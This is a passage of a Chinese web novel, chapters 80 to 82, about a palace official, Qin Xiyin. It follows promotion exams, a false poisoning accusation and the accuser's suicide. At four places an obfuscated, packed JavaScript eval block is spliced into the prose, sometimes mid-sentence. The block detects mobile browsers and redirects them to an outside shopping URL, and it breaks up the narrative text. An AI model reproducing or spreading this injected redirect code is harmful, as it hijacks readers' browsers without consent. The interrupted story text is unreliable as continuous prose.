“原来如此,这也可以理解。本官并不在乎她态度如何,只要她确实有才能,就该待在符合她才能的位置上。其他人还有推荐人选吗?” 其他两位女官也推荐了人选,但是黄典籍推荐的人并不是自己的侄女黄莺。 沈司籍问道:“黄典籍,你推荐的竟不是黄莺?古人云,外举不避仇,内举不避亲,你无需因为跟黄莺的亲戚关系,就避嫌的。” 黄典籍说道:“下官并非刻意避嫌,只是下官认为,黄莺不论是从学识上,还是从心性上,都还需要打磨。所以,还是让她沉淀一下吧。” “嗯,那就依你的意思吧。” 举荐人选结束后,沈司籍道:“司籍司最近发生了很多热闹的事,相信大家都已经知道了。我想告诉大家,在其位,谋其政。成为女官是难得的机会,认真做好自己的工作才是最重要的。 本官并不认同大家有别的心思,不要步荆双蝶后尘。当然,像莫御.女这样的选择,本官尊重,但不建议这样做。 只要我们好好做事,我们所拥有的,是稳定的上升渠道,还有较高的地位。 宫中女官的位置就那么几个,不知有多少人羡慕我们。我们既然有了女官的身份,就不要辜负这身官服才是。” 众女官都说道:“谨遵沈司籍教诲。” “好了,散会吧。惜音留一下。” 其他人走后,房间里只剩下秦惜音和沈司籍。 沈司籍问道:“惜音,你搬回了掌籍的屋子,还习惯吗?” “习惯,那里只有我一个人住了,挺宽敞的。” “嗯。现在,由于莫御.女成了妃嫔,七品典籍的位置少了一人,而本官也需要一个得力的助手。本官希望,你能补上这个空缺。 但是女官晋升,按例需要经过考试,而且需要一定的工作经验,一般是当满女官一年以后才能参加晋级考试。 你当上八品女官才两个月,如果要提前参加考试,在成绩上就要有更高的要求。你需要做一百道题,而其他人只有五十道题。而且,你们的总分是一样的。 也就是说,你答对两道题所获得的分数,跟人家答对一道题的分数一样。 在所有的参与者中,取第一名,晋升七品典籍。 你是要现在参加考试,还是等期限满了之后?” 秦惜音有些兴奋:“下官愿意现在参加考试。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751606|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “对了,还有一点忘了说。你的答题时间跟别人一样。也就是说,别人答五十道题的时间,你要答一百道。而且,有些题目较为复杂,需要写很多字。 有些人在规定时间内,连五十道题都未必能写完。你确定能胜任吗?” 秦惜音有些紧张,但还是说道:“下官愿意一试,请大人给我一个机会。” “很好,本官很欣赏你的自信。长久以来,女人被教导要谦卑柔顺,所以很多女孩是缺乏自信的。 你之前的试卷我看过,答得很好。我认为,你有能力提前晋升。但是,女官之间的晋级考试,比你之前的考试要难很多。你不可掉以轻心,这几天也要好好准备。” “是。下官想问,现在八品掌籍只有下官一人,这个晋升考试是不是也只有下官自己参加?何来其他参与者呢?” “不是,其他部门的八品女官,也可以参加司籍司的考试。女官是流动的,如果在本部没有晋升机会,也可以参加其他部门的晋升考试。 只不过,大部分人只擅长一两样,很难跨部门参加考试。 但这次,有好几个部门的八品女官会参加司籍司的晋升考试,她们都很有才华,你不可掉以轻心。” “是。” “还有,其他参加考试的女官都是已经任职一年以上的,所以她们的卷子是五十道题,只有你的卷子是一百道题。” “是,下官明白了。下官一定好好努力,不辜负这次机会。” “嗯,下去吧。” 秦惜音回到房间后,按捺住激动的心情,开始准备自己的考试。 五天后,是女史们考八品掌籍的考试。 六天后,就是八品女官考七品的考试,也就是秦惜音要参加的考试。 所以,秦惜音只有五天时间复习了。 其实,对各种知识,她都掌握得很好,几乎没有什么薄弱的地方。 她准备看一些冷门的书籍,以免遇见冷门的题目,她不会做。 考试最怕的就是读不懂题目,只要能看懂题目的意思,知道题目考的大概是哪些知识,多多少少都能答出一些。 她看了一会书,想起还有件事没做,就来到女史们的屋子,偷偷对连云使了个眼色。 连云有些惊讶,但也知道秦惜音想单独找自己说话,就走了出来。 秦惜音把连云带到无人处,跟她说了,让她参加八品女官的考试。 连云起初不愿意,秦惜音好说歹说,总算劝动她了。 毕竟,连云很有能力,如果一直当一个女史,也是一种浪费。 秦惜音告诉连云,如果觉得自己以前遭遇了不公,不妨升到更高的位置。这样,能欺负自己的人也会少一些。 而且,如果成为一个厉害的女官,说不定有机会重新调查自己以前的冤案。 连云被说动了,承诺自己这次一定参加考试。 秦惜音放下心来。她有信心,只要连云参与,就一定能考上。 对秦惜音来说,连云当女官,跟自己晋升一样重要。她不希望连云这样的人被埋没。 之前,秦惜音遇到困难时,也是连云几次三番帮助自己。 连云还有事,先去忙了。 秦惜音正准备回房,却看见黄莺一脸不高兴地看着自己。 80. 监考事故 秦惜音笑着问道:“黄莺,怎么了?” 黄莺道:“为什么我姑姑不推荐我,你也不推荐我?我不是把欠你的钱还给你了吗?你还对我不满意?还是因为我养的鸡把你的脸抓伤了,你现在还在记恨我?” “不是这样的,我只是觉得连云更适合参加这次的晋升考试。而且,沈司籍只让我们每人推荐一个候选人。我想,下次考试,你应该有机会参加的。现在先好好干活吧。” “你不要骗我了,我又不是小孩。这次的考试,加我一个有什么不可以?” “黄莺,这件事不是我能决定的。如果你继续闹腾,传到长官们的耳中,她们对你的印象会不好。以后,对你的前途也不利。再说,我现在也是八品女官,你不能用这种口气跟我说话。” 黄莺还有些不忿,但又觉得秦惜音说的有道理,只能离去了。 过了一会,忽然有个女史过来,让秦惜音去见贺尚仪。 贺尚仪名叫贺粲,跟谢尚仪一样,都是尚仪局的最高长官。 秦惜音不敢怠慢,赶紧来到了贺尚仪屋中。 贺尚仪身形又高又壮,神情严肃,平时不苟言笑,也很少跟下属们闲聊。 因此,秦惜音对她有几分畏惧。 秦惜音先拜见了贺尚仪,然后问道:“尚仪大人,不知您找属下有什么事?” 贺尚仪道:“几天后,就是女史们晋升八品掌籍的考试了。这次的题目由你来出,并且由你监考吧。” “但是,下官要参加六天后的晋升七品考试,现在怕是没时间……” “女史们的晋升考试在五天后,你的考试在六天后,时间上不冲突。至于备考,区区几天时间,能准备些什么?平时用功的话,也不必在这几天上费功夫。就这么定了,你先回去出考题吧。” “是。” 秦惜音虽然有些担心自己的考试,但长官交代的任务,她不得不完成。 时间紧迫,她只能先回去出题了。 秦惜音走后,有另一个黑瘦的女官从屏风后走了出来。 她对贺尚仪道:“贺尚仪,多谢您的帮忙。我若是能顺利晋升七品典籍,必定唯您马首是瞻。” 贺尚仪道:“孙掌衣,我只能帮你到这里了。惜音这几天忙着出题,没时间复习。你如果能抓紧这几天的时间,说不定能在考试中压她一头。 虽然你的水平比起惜音来要差一些,但她这次要答一百道题,你只需答五十道,你占优势。至于其他考试者,都不如你。 这次,你的胜算很大。不过,具体考什么题目,本官不能告诉你。女官的考试就跟科举一样,严防徇私舞弊。如果被抓到,最低也是全家死刑。” 孙掌衣道:“是,下官明白。您能帮我拖住惜音,已经是帮了大忙了。下官先回去复习了。” “嗯。你我两家是世交,不用客气。” 接下来几天,秦惜音都在认真出题。 女史晋升八品女官的试卷,只有四十道题。以秦惜音的水平,出一份试卷很轻松。两个时辰后,她就完成了。 她拿去给贺尚仪看,但贺尚仪挑毛病,让她重新出一份。 一直到期限的最后一天,贺尚仪才通过了秦惜音编写的试卷。 而秦惜音还要马不停蹄地抄写几份试卷,给几位考生用。 这一天就这么过去了。 秦惜音在这几天里,愣是没有一点空闲时间用于复习。 她只能期望着自己考的全会,毕竟她的知识面还是比较广的。 第二天,就是女史们考八品女官的日子。 参加的一共有四名女史,秦惜音让她们坐在教室的四个角落,最大限度地拉开距离,防止作弊。 秦惜音则在教室里监考。 离考试还有一炷香的时候,秦惜音宣读了考场守则。 读完后,就等着分发试卷了。 没想到,过了一会,一名叫七彩的女史忽然捂着肚子,说道:“秦掌籍,我肚子疼,可否先去茅房?” 秦惜音道:“可以,不过要有一位女官陪你去。我要在此监考,走不开,你先等一下,我去外面叫人。” 秦惜音带着密封的卷子,走了出去,快步来到黄典籍的屋中,请求黄典籍帮忙,陪七彩去茅房。 黄典籍点头道:“按照规矩,考生上茅房,确实需要有女官陪同。我这就陪她去。” 秦惜音有些不好意思:“其实,这种事应该交给我们八品女官去做,但现在八品掌籍只有我一人,我又要监考,走不开,这才麻烦您了。多谢您的帮忙。” “无妨。看来确实是需要提拔几名女官了,要不然不是这里缺人手,就是那里缺人手。” 黄典籍一边说着,一边跟秦惜音来到考场。 七彩站了起来,跟黄典籍出去。 这时,七彩问秦惜音:“秦掌籍,我要是在茅房太久,还能回来考试吗?” 秦惜音道:“可以。只要没超过考试时间,都可以坐下考试。你先别担心,说不定很快就回来呢。” “可是,如果我时间不够了,肯定考不上了……” “你先别想这么多,考试时间的长短并不是决定分数的唯一因素。赶紧去茅房吧。” “是……” 七彩跟着黄典籍离开。 接着,考试时间到了,秦惜音先取出三份试卷,分给在场的三名考生。 她认真地看着几名考生,确保她们是自己写的。 秦惜音发现,连云写得最快,几乎是看一眼题目,就下笔写了。 而另外两个女史,考虑的时间就多一些,思路没有连云这么流利。 秦惜音巡视考场,顺便看了看三位女史的答卷,觉得连云答得最好。看来,连云获胜的可能性很大。 另一边,七彩在茅房里待了一会,出来之后脸色惨白,似乎站不住,扶着黄典籍的手。 黄典籍问道:“七彩,你怎么样了?能回到考场了吗?” “我……我肚子还是绞痛,但并不想继续上茅房,只想躺着休息……而且,我觉得浑身很冷,想盖被子……黄典籍,这场考试我怕是不能参加了……” “要不我给你喝点温水,你再坚持一下呢?错过这次,至少要等半年。” “没关系,这次是不凑巧……可是,试卷已经出了,如果没有人写我那份试卷,也挺遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751607|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憾的……不如……不如另外找一位女史,去参加考试吧。” “你是贺尚仪推荐的人,怎么能临时更换?既然你身体不适,我先扶你回房休息。” 黄典籍扶着七彩,往女史们的寝室走。 这时,黄莺忽然跑了出来,问道:“姑……黄典籍,七彩怎么了?” 黄典籍道:“七彩肚子疼,没法参加考试了。你来得正好,你扶她回房吧。” 黄莺眼珠一转,说道:“黄典籍,我有一个想法……既然七彩不参加了,我可不可以代替她参加?” “荒唐,这怎么能代替?” “可是,这次考试本来就有四个名额的……” 这时,七彩也说道:“我觉得……让黄莺去参加考试挺好的,说不定她还能考中呢……” 黄莺也继续哀求道:“黄典籍,求你了……” 黄典籍叹道:“好吧,我们先扶七彩回房,然后我再去问问沈司籍和贺司籍能不能换人。两位司籍同意的话,你就去考试。” “嗯!谢谢黄典籍!七彩,也谢谢你……” 黄莺心情雀跃,帮着黄典籍把七彩扶回了房间。 黄典籍先给七彩喝了一杯热水,然后派人去尚食局请女医过来,给七彩诊病。 尚食局离这里比较近,女医很快就能过来。 七彩道:“黄典籍,您不用守着我了,先去问问两位司籍,能不能换黄莺去考试……时间紧迫,耽误不得……” 黄莺也很想这么说,但又显得自己太着急,不讲道义,所以没说什么,只是一位地用眼神示意黄典籍。 黄典籍让两位有空的女史帮忙照顾七彩,然后快速求见了贺司籍和沈司籍,说明现在的情况。 两位司籍稍加考虑,都同意让黄莺替补考试。 黄莺欢欢喜喜的,就要跑去考场。 黄典籍道:“等一下,我陪你一起去,跟秦掌籍说明情况才行。你自己没头没脑地跑了去,秦掌籍怎么知道你说的是真是假?” 黄莺笑道:“对哦,还是得跟姑姑一起过去。” 路上,黄典籍皱眉对黄莺道:“别一副喜笑颜开的样子,你今天有考试的机会,是因为七彩突然生病了。你这么高兴,倒显得踩着同僚往上爬似的。你就是装,也得装得悲伤些。” 黄莺嘟囔道:“我本来就该有考试的机会,我是您的侄女,而且水平也不差。只要您举荐我,今天我就可以光明正大地参加考试了。可您偏偏举荐了别人。” “之前我就跟你说过,你还需要再磨炼一年。你应该猜到,我不会在这次举荐你才对。姑姑不是要惩罚你,而是真心希望你能学得再扎实一些。上升的阶梯不是求来的、抢来的,而是在你水平足够时,自己出现在你面前的。” “哦……” 黄典籍带着黄莺进来,跟秦惜音小声说了刚才的事。 秦惜音虽然有些惊讶,但还是笑道:“既然是两位司籍的意思,那就由黄莺替补吧。黄莺,你坐在那边。” 黄莺坐下后,秦惜音把最后一份试卷发给了她。 黄莺问道:“我是后进来的,答题时间比别人少,可不可以给我增加答题时间?” 81. 换人风波 秦惜音道:“这个不行,每个人必须在同一时间结束考试。” 黄莺道:“可是,这对我不公平……” “没办法,考试有考试的规矩,本官必须严格按照规定来。考试中有各种突发状况,都是正常的,总不能因为突发状况,临时更改考试规则。更何况,你本来没有考试的机会,现在能参加考试,已经算是占了便宜了。” 黄莺觉得秦惜音说的也有道理,她不敢耽搁,赶紧提笔答题。 黄典籍已经走了,考场里就剩秦惜音一人在监考。 过了半个时辰后,只听外面吵吵嚷嚷的,不知道发生了什么事。 秦惜音怕影响考生,就把窗户都关严实了。 虽然外面还是有声音传进来,但已经不太清晰。 除了连云之外,另外三个考生都好奇地抬头,往外面看。秦惜音咳嗽了几声,示意她们专心。 她们这才继续答题。 过了一会,连云交卷了。 为了不出声影响他人,秦惜音用眼神询问连云,是否确定提早交卷。 连云点了点头,秦惜音便收下了她的卷子,让她离开了考场。 看到连云走了,有两名考生看起来有些焦虑,包括黄莺在内。黄莺情急之下,还把字写得歪歪扭扭的。 秦惜音说道:“别关注别人,答好自己的题就行了,静下心来。” 几名考生这才稍微定神,继续认真答题。 一个时辰后,考试时间到。 秦惜音收了所有人的卷子,然后让大家都出去休息。 谁知,众人刚走出门口,贺司籍就走了过来,叫两名女史抓住了黄莺。 秦惜音问道:“贺司籍,怎么回事?” 贺司籍道:“你去批阅试卷吧,不关你事。” 黄莺大叫道:“贺司籍,您为什么抓我?我犯了什么事?刚才,我一直在教室里参加考试,没有出去过。” 贺司籍冷笑道:“你干了什么,自己知道。来人,把她带走。” 说着,贺司籍就带着随从,押着黄莺离开了。 黄莺觉得很无助,只能回头对秦惜音道:“秦掌籍,救我!” 秦惜音想追上去,但又害怕贺司籍,只能暂留原地。 她看了看自己手上的试卷,想了想,决定先把试卷交给沈司籍,然后去黄莺那边看看。 秦惜音来到沈司籍的屋子,沈司籍不在。 她只能先出来,四下张望。 看见一个路过的女史,她拦住女史问道:“刚才发生什么事了?” “是秦掌籍啊。您刚才在监考,不知道,七彩不是肚子疼,弃考了吗?结果好像查出来,是黄莺给七彩下了泻药。现在,长官们要审问黄莺呢。” 秦惜音皱眉:“怎么会这样……她们现在在哪里?” “在女史们的宿舍。” 秦惜音来到女史们的宿舍,见司籍司的大部分人都在。七彩半躺在床上,神情虚弱;黄莺跪在地上,神情委屈;黄典籍站在黄莺身边,有些惶恐。 而沈司籍和贺司籍都坐在椅子上,面色沉沉地看着黄莺。 贺司籍见秦惜音来了,有些生气:“惜音,你怎么过来了?我不是叫你去批阅试卷吗?” 秦惜音赶紧把包装好的试卷拿出来,说道:“我把试卷随身携带,不会被人做手脚的。现在两位司籍都在,我先把密封的试卷交给你们吧。至于我来这里,是想看看情况。黄莺刚才一直在教室里考试,什么也没做,我可以作证。” 说着,秦惜音就把试卷交给了沈司籍,沈司籍点了点头,示意秦惜音坐在自己旁边。 现在司籍司一共只有四名女官,除了黄典籍跟黄莺有亲戚关系,必须站着解释,自证清白外,秦惜音也是可以坐下审问的。 秦惜音坐在沈司籍身边,贺司籍虽然有些不满,但也没说什么。 接着,秦惜音看向七彩,问道:“七彩,我听人说,是黄莺下泻药害你?你有证据吗?” 七彩道:“今天的早饭,是黄莺去拿的。我吃完之后倒没觉得有什么,但到了开考的时候,突然肚子疼。即便上了茅房,也没有缓解,一直疼到现在。我本来也没有怀疑到黄莺身上,但是刚才,女医给我诊脉,说我是吃了泻药才会如此。 但是,我很清楚自己没吃泻药。于是,我告诉了照顾我的女史们,她们就搜了这间屋子,在黄莺的柜子里发现了一些泻药。于是,女史们就报告给了两位司籍。 但是我觉得,这事未必是黄莺做的。” 黄莺也说道:“不是我啊,真的不是……我柜子里有泻药,是因为这几天我总是便秘,所以问女医要了一些泻药。但是,我只是自己服用,从来没想过用它去害人……” 这时,跟七彩交好的一位女史说道:“你别狡辩了。前几天,你得知自己不能参加晋级考试的时候,可难受了。你肯定是为了自己能参加考试,才出此下策。七彩考不了试,你就替补上了,难道不是早有预谋?” 黄莺道:“不是啊……我也是临时看见七彩不舒服,才想替考的,不是早有预谋……而且,是七彩自己提出,让我顶替她的名额的……” 七彩也说道:“没错,我毕竟没有亲眼看见她下泻药,不能武断地推论是她害我……这次替考的名额,确实是我主动让给她的……” 这名女史说道:“七彩心地善良,才会中了黄莺的圈套。黄莺,就算你害七彩生病,你也未必能考上女官。上天有眼,你一定考不上。” 黄莺有些生气:“你说什么?” 这时,贺司籍说道:“好了,都别吵了。黄莺,今天的早饭是你拿的,只有你有机会给七彩下泻药。你还不承认吗?这件事,是你自己的主意,还是你姑姑黄典籍的主意?” 黄典籍赶紧抬头辩解道:“贺司籍,此事与我无关,我真的不知道……如果我存了私心,想提拔黄莺的话,当日在推荐考试人选的时候,我就会推荐黄莺了,何必做这么迂回的事?” 贺司籍道:“说不定,你一开始不举荐黄莺,是为了博得公正贤良的美名。而私底下,你为了让黄莺有机会参与考试,就让黄莺给七彩下泻药,对不对?” “不是这样的,贺司籍……” 贺司籍却没听黄典籍的辩解,反而问七彩:“七彩,刚才你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751608|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单独跟黄典籍相处过一段时间,她有动什么手脚吗?” 七彩道:“黄典籍看我肚子疼,给了我一颗药,让我服下,说是对我的身体有帮助。但是,我服用之后,并未好转,肚子反而更疼了。我想,是泻药的分量太重了,所以那颗药也不管用了……” 黄典籍惊讶道:“七彩,我何时给过你药?我只是问你要不要喝热水而已。扶你回来后,我也只是给了你一杯温水。” 七彩看了一眼黄典籍,似乎有些害怕,改口道:“黄典籍说得没错,确实没有什么药,刚才是我记错了……” 黄典籍虽然一向冷静,但现在也难免又气又急,说道:“七彩,你为何这样做……” 这时,贺司籍道:“黄典籍,你别吓唬七彩了,她只是个没什么背景的小女史。你在司籍司任职多年,就算犯点小错,也不要紧,最多就是引咎辞职而已,不会有什么严重的处罚的。” 见贺司籍句句把罪证往黄典籍姑侄头上扣,秦惜音隐隐觉得不对劲。 但是,今天的早饭,是黄莺拿的;黄莺的柜子里找到了泻药,黄莺也承认泻药是她自己的;七彩去茅厕时,只有黄典籍陪着她,具体发生了什么,也只有七彩和黄典籍知道。 而黄莺,确实很想参加这次考试。 种种迹象都表明,黄莺很有可能给七彩下药,抢了七彩考试的机会。 至于黄典籍,倒未必参与其中。 但是,如果黄典籍什么也没做的话,那就是七彩在撒谎…… 七彩会撒谎吗? 她会放弃这次考试的机会,就为了污蔑黄莺和黄典籍吗? 这样做,她能得到什么? 如果七彩不弃考,是有可能成为女官的…… 秦惜音越想,越觉得此事复杂。 这时,贺司籍继续逼迫黄典籍:“黄典籍,同僚一场,我不想做得太难看。如果你自己承认了,我还能给你留个体面,否则,一旦用刑拷问,只怕你吃不了这个苦。” 黄典籍跪下道:“下官确实不知道怎么回事,也没给七彩吃下有问题的药丸,还请贺司籍、沈司籍明察。” 黄典籍虽然在对两位司籍说话,但眼神却一直看向沈芦叶,似乎有求助之意。 沈芦叶道:“贺司籍,此事还有疑点,不能直接下定论。” 贺司籍道:“今日的早饭是黄莺拿的,她柜子里也找到了泻药;七彩上茅房时,是黄典籍一个人陪同的,没有其他证人。所有的证据,都指向黄典籍和黄莺。还有什么疑点?” 沈司籍道:“首先,没有人明确看到黄莺下泻药。其次,她如果要给考生下药,为什么不在连云的饭菜里下.药?连云在司籍司十年,不论是经验,还是学识,都比其他女史要高出许多,连云考中女官的可能性更大。第三,七彩说,黄典籍给她吃了一颗药丸,这件事也是七彩的一面之词,不能轻信。” 贺司籍道:“难道七彩会故意放弃考女官的机会,就为了污蔑黄莺和黄典籍吗?这样说不通啊。” 七彩也说道:“属下所言,句句属实……” 黄莺却站了起来,指着七彩道:“你说谎!” 82. 畏罪自尽 贺司籍冷着脸对黄莺道:“黄莺,你嫌疑未清,谁让你起来的?谁让你吓唬一个病人?” 黄莺只得重新跪下,委屈道:“我……真不是我……我没有把泻药下在七彩的饭菜里。” 这时,秦惜音想到一件事,问黄莺:“黄莺,你说你这几天便秘,才向女医要了一些泻药,是否属实?有人能证明吗?” 黄莺道:“能证明。给我泻药的女医,就是刚才给七彩诊病的女医。” 秦惜音看向屋子里的女医,问道:“是不是这样?” 女医道:“确实如此。黄莺前几天来找我,说是她有点便秘,让我给她一点泻药。我就给了一小包,让她别多吃,每天吃一点点就行了。” “当时你给她把过脉吗?她确实是便秘的症状?” “把过脉的,我们女医也有规矩,给病人开药之前,一定要先把脉,确认病人的病情。我发现黄莺确实有便秘的症状,才给了她药的。不过,我给她的泻药,效力比较轻微。她如果真的把这些药给七彩吃的话,七彩好像不会痛成这样。” 听闻此言,黄莺的眼神亮了,其他人则是面露疑惑之色。 七彩喃喃道:“我也不知道怎么会痛成这样……” 贺典籍问女医:“如果黄莺给七彩下了很多泻药,是不是会导致七彩腹痛不止?” 女医道:“我给黄莺的泻药,总共只有一小包,即便她全下在七彩的饮食里,也不会让七彩这么难受。更何况,黄莺的衣柜里还藏着一小部分的泻药,足以证明她使用的分量并不多。” 秦惜音又问在场的女史们:“你们都跟黄莺同住,这几天,有没有看见她服用泻药?” 有的女史回答不上来,倒是连云说道:“我连续两天,看见黄莺从衣柜里拿出一些药粉,泡在温水里喝了。我不确定她喝的是不是泻药,但八成就是。” 这时,有另外两个女史也说,看见过黄莺喝药。 秦惜音道:“这说明,黄莺的泻药确实是为了治疗她自己的病症,而不是为了给别人下.药。即便她临时起了歹心,要给七彩下药,下的分量也不多。 但现在七彩病得如此严重,此事恐怕有蹊跷。” 闻言,在场之人纷纷点头,窃窃私语起来,似乎都认为此事存在疑点。 秦惜音又问女医:“晁掌药,你刚才给七彩把脉,她是什么症状?仅仅是因为服用了泻药,才变成这样吗?” 女医道:“是的,她应该是服用了效力非常强的泻药。这种效力的泻药,医师一般不会轻易开出来的。” 秦惜音忽然想到了什么,问道:“既然这泻药效力很强,是不是吃下去之后马上就会发作?” “是的。” 秦惜音纳闷道:“早饭是在辰时一刻吃的,考试却是在巳时开始的,这其中相差了将近一个时辰的时间。晁掌药,这泻药的发作时间有这么久吗?” “没有。以七彩所服用的强力泻药的药效推算,服用之后,不出一炷香的时间,就会开始腹痛。” “那就怪了。两位司籍,你们觉得呢?” 沈芦叶道:“如果泻药真是下在早饭里的,七彩不会等到考试的时候才发作……确实有很大的疑点……” 这时,秦惜音问女医:“晁掌药,如果碗里真的下了强力泻药,而且那个碗到现在都还没有洗的话,能不能在碗里检测出残留的泻药?” 女医道:“应该可以。只是不知道,尚食局那边有没有把今天早饭的碗筷洗掉。” 秦惜音道:“我在尚食局有朋友,她告诉我,最近尚食局新进了一批碗筷,所以她们洗碗没那么勤了,早上的碗一般到了晚上才会洗。现在派人去尚食局,找七彩吃过的碗,应该还能检测出来。” 女医点头道:“那现在就去吧。” 女医有些疑惑,因为她也是尚食局的成员,却没听说尚食局最近新到了一批碗筷,还把早上的碗筷留着晚上洗。 不过她觉得,既然秦惜音这么说,就肯定是真的。 这时,屋子里却传来一声惨叫。 众人循声望去,竟是七彩趁众人不注意,拿了一把剪刀,刺进了自己的心口! 眼看着众人都围了上去,秦惜音当机立断,大声说道:“先别围过去,让女医给七彩诊治一下!” 闻言,众人纷纷停下脚步,只有女医跑到了七彩的床边,为她施救。 可是,七彩血流不止,眼神涣散。女医看了一会,摇摇头道:“已经没救了。” 秦惜音见七彩还有气,一边派人去请太医,一边询问七彩:“七彩,你为何要自尽?” 七彩气若游丝,说道:“我……是我自己服用强力泻药,污蔑黄莺和黄典籍……我有罪……” 说完,她就断气了。 今日的变故太多,大家都愣住了。 有几个机灵的女史赶紧打开门窗散散味,并把七彩旁边的铺盖都卷起来,以免七彩的血污染了其他人的铺盖。 黄莺和黄典籍洗刷了冤屈,却没有高兴的感觉,反而愣在原地。 任谁都没想到,七彩会突然自尽。 就算真的是她污蔑黄莺和黄典籍,也罪不至死。 秦惜音问道:“你们刚才有谁注意七彩的动作吗?她是自己突然自尽的吗?” 大部分人都说没注意,有个女史说道:“刚才,秦掌籍说要去查七彩用过的碗,七彩忽然愣住了,接着,她看见了旁边的剪刀,就……拿起来,刺进了自己的心口。” “她没有犹豫吗?” “好像没有。” 秦惜音觉得,还是有很多疑点。但是,那些疑点随着七彩的死,已经很难搞明白了。 比如,七彩是如何得到强力泻药的? 她为什么宁可自己不考试,也要给自己下.药,污蔑黄莺和黄典籍? 是有人指使她这么做的? 贺司籍说道:“好了,现在人都死了,大家都散了吧。今日之事,也别提起了,对外只说七彩暴毙而亡,给她留些体面。我会把她的尸体送回家乡,并给她的家人一笔抚恤金。 今日的事,说到底是司籍司内部的事,传出去了,大家的名声都不好听,明白了吗?” 众人都道:“明白。” 这时,太医赶到,也被贺司籍几句话打发走了。 女官们走了出去,女史们也不想待在死过人的房间里,都走出去透透气。 黄典籍带着黄莺,来到秦惜音面前,小声说道:“惜音,这次多亏你据理力争,才能帮我们姑侄洗清嫌疑。否则,我们刚才一定会被定罪的。” 秦惜音摇头道:“不用介意,我只是想得到真相而已。我相信您和黄莺都不是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751609|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种人。” “总之,这次我们姑侄欠你一个人情。以后有什么需要帮助的,你尽管说。” “嗯。” 秦惜音想起自己还要批阅卷子,就去找沈芦叶了,因为刚才她把卷子交给了沈司籍。 黄莺对黄典籍说道:“姑姑,你干嘛要说我们欠惜音一个人情啊?她身为女官,查清真相是应该做的。” “刚才幸亏她聪明,想到一些疑点,才帮我们洗刷了冤屈的。我们自然是欠她的。如果没有她在,说不定这会我们姑侄已经被赶出宫了。” “可是……她会不会找我要钱啊?如果她要一大笔钱,我也要给她吗?” 黄典籍无奈地摇了摇头,道:“你满脑子就知道钱。你不是还有活没干完吗?赶紧去干吧。” “哦。” 秦惜音来到沈司籍的房中,说要帮忙批阅卷子。 沈司籍笑道:“今天的考卷,我会批阅,并请贺司籍复审。你今天监考辛苦了,明日还要参加考试,赶紧回去休息吧。” “是,多谢沈司籍。” 秦惜音回房之后,觉得有点累了,就睡了一觉。 睡醒之后,随便看了会书。 明天就要考试了,她来不及仔细看,只能翻到哪页读哪页了。 好在,她不会的知识点也不多。 晚上,她决定早点睡觉。 她洗漱之后,把首饰放进首饰盒里。 在首饰盒的最底层,她看见一张纸条。那张纸条是高毅以前写给她的,上面只有一句话:“守得云开见月明。” 每当她遇到挫折或者觉得太辛苦的时候,就会把这张纸条拿出来看看。 现在,她又拿出来看了。 见到纸条上的字迹,她就想起了高毅,似乎觉得浑身充满了力量。 她轻轻抚摸着纸条上的字迹,然后把纸条藏好,安心睡去。 第二天一早,秦惜音起床后,没有吃尚食局送来的早饭,而是吃了自己早就准备好的干粮。 今天的考试对她来说至关重要,她不能出现任何意外状况。 时间一到,她走进了考场。 今日参加晋升考试的,除了秦惜音之外,还有六个来自其他部门的八品女官。 秦惜音跟她们不熟,只是点头打招呼。 不过,她在看见一个黑瘦的女官时,冷不防起了一层鸡皮疙瘩。 她也不知道为什么,大概是因为那个女官的眼神有些冰冷,完全把秦惜音当成了竞争对手吧。 今天是贺司籍监考,她把每个人的试卷都发了下来。 秦惜音的卷子比其他人厚得多,可想而知,她一会要写的内容有多少。 秦惜音随便翻了翻,果然见到卷子上有一百道题,而且有很多题都需要写很多字来回答。 这是一次不小的挑战,一会她必须全神贯注,不能有丝毫懈怠。 过了一会,时间到了,贺司籍宣布考试开始。 秦惜音开始磨墨,正准备下笔,却发现自己的毛笔分叉了。而且,分叉情况比较严重,她完全没法把毛笔的头拧在一起。 如果用这支笔来答题,只怕连字都写不好。 